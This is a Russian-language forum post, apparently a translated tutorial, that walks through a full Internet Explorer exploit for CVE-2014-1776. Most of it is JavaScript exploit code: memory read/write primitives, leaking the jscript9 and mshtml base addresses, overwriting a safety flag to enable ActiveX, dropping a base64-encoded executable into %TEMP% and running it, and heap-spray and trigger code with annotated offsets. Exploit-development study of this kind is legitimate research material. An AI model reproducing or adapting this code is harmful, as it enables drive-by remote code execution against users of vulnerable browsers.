          
          return int2uint(val);
        }
        
        // val must be in [0, 0xffffffff].
        function write(addr, val) {
          val = uint2int(val);
          
          var delta = addr - base_addr;
          if (delta >= 0)
            a[idx+1][delta/4] = val;
          else
            // In 2-complement arithmetic,
            //   -x/4 = (2^32 - x)/4
            a[idx+1][(0x100000000 + delta)/4] = val;
        }
        
        function get_addr(obj) {
          a[idx+2][0] = obj;
          return read(base_addr + 0x10000);
        }
        
        // Here's the beginning of the element div:
        //      +----- jscript9!HostDispatch::`vftable' = jscript9 + 0x5480
        //      v
        //  6cc55480 05354280 00000000 0536cfb0
        //
        // To find the vftable MSHTML!CDivElement::`vftable', we must follow a chain of pointers:
        //   X = [div_elem+0ch]
        //   X = [X+8]
        //   obj_ptr = [X+10h]
        //   vftptr = [obj_ptr]
        // where vftptr = vftable MSHTML!CDivElement::`vftable' = mshtml + 0x3aeb04.
        var addr = get_addr(document.createElement("div"));
        jscript9 = read(addr) - 0x5480;
        mshtml = read(read(read(read(addr + 0xc) + 8) + 0x10)) - 0x3aeb04;
    
        var old1 = read(mshtml+0xebcd98+0x10);
        var old2 = read(mshtml+0xebcd98+0x14);
    
        function GodModeOn() {
          write(mshtml+0xebcd98+0x10, jscript9+0x155e19);
          write(mshtml+0xebcd98+0x14, jscript9+0x155d7d);
        }
        
        function GodModeOff() {
          write(mshtml+0xebcd98+0x10, old1);
          write(mshtml+0xebcd98+0x14, old2);
        }
    
        // content of exe file encoded in base64.
        runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
     
        function createExe(fname, data) {
          GodModeOn();
          var tStream = new ActiveXObject("ADODB.Stream");
          var bStream = new ActiveXObject("ADODB.Stream");
          GodModeOff();
          
          tStream.Type = 2;       // text
          bStream.Type = 1;       // binary
          tStream.Open();
          bStream.Open();
          tStream.WriteText(data);
          tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
          tStream.CopyTo(bStream);
          
          var bStream_addr = get_addr(bStream);
          var string_addr = read(read(bStream_addr + 0x50) + 0x44);
          if (read(string_addr) != 0) {         // only when there is a string to overwrite
            write(string_addr, 0x003a0043);       // 'C:'
            write(string_addr + 4, 0x0000005c);   // '\'
          }
          try {
            bStream.SaveToFile(fname, 2);     // 2 = overwrites file if it already exists
          }
          catch(err) {
            return 0;
          }
          
          tStream.Close();
          bStream.Close();
          return 1;
        }
    
        // decoder
        // [https://gist.github.com/1020396] by [https://github.com/atk]
        function atob(input) {
          var chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
          var str = String(input).replace(/=+$/, '');
          if (str.length % 4 == 1) {
            throw new InvalidCharacterError("'atob' failed: The string to be decoded is not correctly encoded.");
          }
          for (
            // initialize result and counters
            var bc = 0, bs, buffer, idx = 0, output = '';
            // get next character
            buffer = str.charAt(idx++);
            // character found in table? initialize bit storage and add its ascii value;
            ~buffer && (bs = bc % 4 ? bs * 64 + buffer : buffer,
              // and if not first of each 4 characters,
              // convert the first 8 bits to one ascii character
              bc++ % 4) ? output += String.fromCharCode(255 & bs >> (-2 * bc & 6)) : 0
          ) {
            // try to find character in table (0-63, not found => -1)
            buffer = chars.indexOf(buffer);
          }
          return output;
        }
    
        function decode(b64Data) {
          var data = atob(b64Data);
          
           // Now data is like
          //   11 00 12 00 45 00 50 00 ...
          // rather than like
          //   11 12 45 50 ...
          // Let's fix this!
          var arr = new Array();
          for (var i = 0; i < data.length / 2; ++i) {
            var low = data.charCodeAt(i*2);
            var high = data.charCodeAt(i*2 + 1);
            arr.push(String.fromCharCode(low + high * 0x100));
          }
          return arr.join('');
        }
    
        GodModeOn();
        var shell = new ActiveXObject("WScript.shell");
        GodModeOff();
        fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
        if (createExe(fname, decode(runcalc)) == 0) {
    //      alert("SaveToFile failed");
          window.location.reload();
          return 0;
        }
        shell.Exec(fname);
     
    //    alert("Done");
      }
    </script>
    </head>
    <body><v:group id="vml" style="width:500pt;"><div></div></group></body>
    </html>
    Еще раз, я отрезал runcalc. Вы можете скачать полный код здесь: code8.

    Этот код отлично работает, но IE может время от времени падать. Это не является серьезной проблемой, потому что когда пользователь закрывает диалоговое окно сбоя, страница перезагружается и эксплойт запускается снова.

    У нового кода есть некоторые тонкости, поэтому давайте обсудим важные моменты. Начнем с триггера ():
    Code:
      function trigger() {
        var head = document.getElementById("haed")
        tmp = document.createElement("CVE-2014-1776")
        document.getElementById("vml").childNodes[0].appendChild(tmp)
        tmp.appendChild(head)
        tmp = head.offsetParent
        tmp.onpropertychange = function(){
          this["removeNode"](true)
          document.createElement("CVE-2014-1776").title = ""
          
          var elem = document.createElement("div");
          elem.className = getPattern([
            0xa4, magic_addr + 0x20 - 0xc,      // X; X+0xc --> b[0]
            0x118, magic_addr + 0x24 + 0x24,    // U; U --> (*); U-0x24 --> b[1]
            0x198, -1                           // bit 12 set
          ], 0x428);
        }
        head.firstChild.nextSibling.disabled = head
      }
    Функция getPattern принимает массив формы
    Code:
    [offset_1, value_1,
     offset_2, value_2,
     offset_3, value_3,
     ...]
    и размер в байтах шаблона. Возвращаемый шаблон представляет собой строку заданного размера value_1, value_2,... указанных смещений.

    Я надеюсь, что комментарии достаточно ясны. Например, рассмотрим следующую строку:
    Code:
            0xa4, magic_addr + 0x20 - 0xc,      // X; X+0xc --> b[0]
    Это значит, что
    Code:
    X = magic_addr + 0x20 - 0xc
    что значит, что X + 0xc указывает на b[0], где b[0] - первый элемент массива в magic_addr (0xc000000 в нашем коде).

    Чтобы лучше понять это, давайте рассмотрим полную схему:
    Code:
      .
      .
      .
      elem.className = getPattern([
        0xa4, magic_addr + 0x20 - 0xc,      // X; X+0xc --> b[0]
        0x118, magic_addr + 0x24 + 0x24,    // U; U --> (*); U-0x24 --> b[1]
        0x198, -1                           // bit 12 set
      ], 0x428);
      .
      .
      .
      // The object is 0x428 bytes.
      // Conditions to control the bug and force an INC of dword at magic_addr + 0x1b:
      //   X = [ptr+0A4h] ==> Y = [X+0ch] ==>
      //               [Y+208h] is 0
      //               [Y+630h+248h] = [Y+878h] val to inc!      <======
      //               [Y+630h+380h] = [Y+9b0h] has bit 16 set
      //               [Y+630h+3f4h] = [Y+0a24h] has bit 7 set
      //               [Y+1044h] is 0
      //   U = [ptr+118h] ==> [U] is 0 => V = [U-24h] => W = [V+1ch],
      //               [W+0ah] has bit 1 set & bit 4 unset
      //               [W+44h] has bit 7 set
      //               [W+5ch] is writable
      //   [ptr+198h] has bit 12 set
     
      window.onload = function() {
        CollectGarbage();
     
        var header_size = 0x20;
        var array_len = (0x10000 - header_size)/4;
        var a = new Array();
        for (var i = 0; i < 0x1000; ++i) {
          a[i] = new Array(array_len);
    
          var idx;
          b = a[i];
          b[0] = magic_addr + 0x1b - 0x878;         // Y
          idx = Math.floor((b[0] + 0x9b0 - (magic_addr + 0x20))/4);         // index for Y+9b0h
          b[idx] = -1; b[idx+1] = -1;
          idx = Math.floor((b[0] + 0xa24 - (magic_addr + 0x20))/4);         // index for Y+0a24h
          b[idx] = -1; b[idx+1] = -1;
          idx = Math.floor((b[0] + 0x1044 - (magic_addr + 0x20))/4);        // index for Y+1044h
          b[idx] = 0; b[idx+1] = 0;
          // The following address would be negative so we add 0x10000 to translate the address
          // from the previous copy of the array to this one.
          idx = Math.floor((b[0] + 0x208 - (magic_addr + 0x20) + 0x10000)/4);   // index for Y+208h
          b[idx] = 0; b[idx+1] = 0;
     
          b[1] = magic_addr + 0x28 - 0x1c;          // V, [U-24h]; V+1ch --> b[2]
          b[(0x24 + 0x24 - 0x20)/4] = 0;            // [U] (*)
          b[2] = magic_addr + 0x2c - 0xa;           // W; W+0ah --> b[3]
          b[3] = 2;                                 // [W+0ah]
          idx = Math.floor((b[2] + 0x44 - (magic_addr + 0x20))/4);      // index for W+44h
          b[idx] = -1; b[idx+1] = -1;
        }
    Рассмотрим эту часть схемы:
    Code:
      //   X = [ptr+0A4h] ==> Y = [X+0ch] ==>
      //               [Y+208h] is 0
      //               [Y+630h+248h] = [Y+878h] val to inc!      <======
    Как мы видели,
    Code:
    0xa4, magic_addr + 0x20 - 0xc,      // X; X+0xc --> b[0]
    значит что
    Code:
    X = [ptr + 0A4h] = magic_addr + 0x20 - 0xc
    Так что X + 0cx указывает на b[0].

    Тогда имеем
    Code:
    b[0] = magic_addr + 0x1b - 0x878;         // Y
    что означает, что
    Code:
    Y = [X + 0ch] = magic_addr + 0x1b - 0x878
    Схема сообщает нам, что [Y + 878h] должно быть значением для приращения. В самом деле, Y + 0x878 является magic_addr + 0x1b, который указывает на старший байт длины массива в magic_addr (0xc000000 в нашем коде). Обратите внимание, что мы увеличиваем dword в magic_addr + 0x1b, что приводит к увеличению значения байта по тому же адресу.

    Схема также указывает, что [Y + 208h] равен 0. Это выполняется следующими строками:
    Code:
    idx = Math.floor((b[0] + 0x208 - (magic_addr + 0x20) + 0x10000)/4);   // index for Y+208h
    b[idx] = 0; b[idx+1] = 0;
    Здесь есть два важных момента:
    • Y = b [0] = magic_addr + 0x1b - 0x878, поэтому он не кратен 4. Вследствие этого Y + 208h также не кратен 4. Чтобы изменить dword [Y + 208h], нам нужно изменить dwords [Y + 206h] и [Y + 20ah], которые совпадают с элементами b[idx] и b[idx + 1]. Вот почему мы используем Math.floor.
    • Вычисленное значение b[0] + 0x208 - (magic_addr + 0x20) отрицательно. Поскольку мы выбрали Y так, что Y + 878h указывает на заголовок массива в magic_addr, Y + 9b0h и Y + 0a24h (см. схему) указывают на тот же массив, но Y + 208h указывает на предыдущий массив. Каждый массив будет иметь один и тот же контент, так как смежные массивы имеют размер 0x10000 байт, записывая значение в память по адресу Y + 208h + 10000h (то есть в текущий массив), мы также закончим запись этого значения в память по адресу Y + 208h.

    Чтобы завершить наше обсуждение, обратите внимание, что триггер функции вызывается только один раз. Единственного приращения более чем достаточно, потому что нам просто нужно написать несколько байтов за пределами массива в magic_addr.


    Перевод: dreamseller
    Last edited by Darwin; 21-10-2018 at 13:15.

  2. Пользователь сказал cпасибо:
    Darwin (21-10-2018)
+ Reply to Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
All times are GMT. The time now is 01:17
vBulletin® Copyright ©2000 - 2018
www.reverse4you.org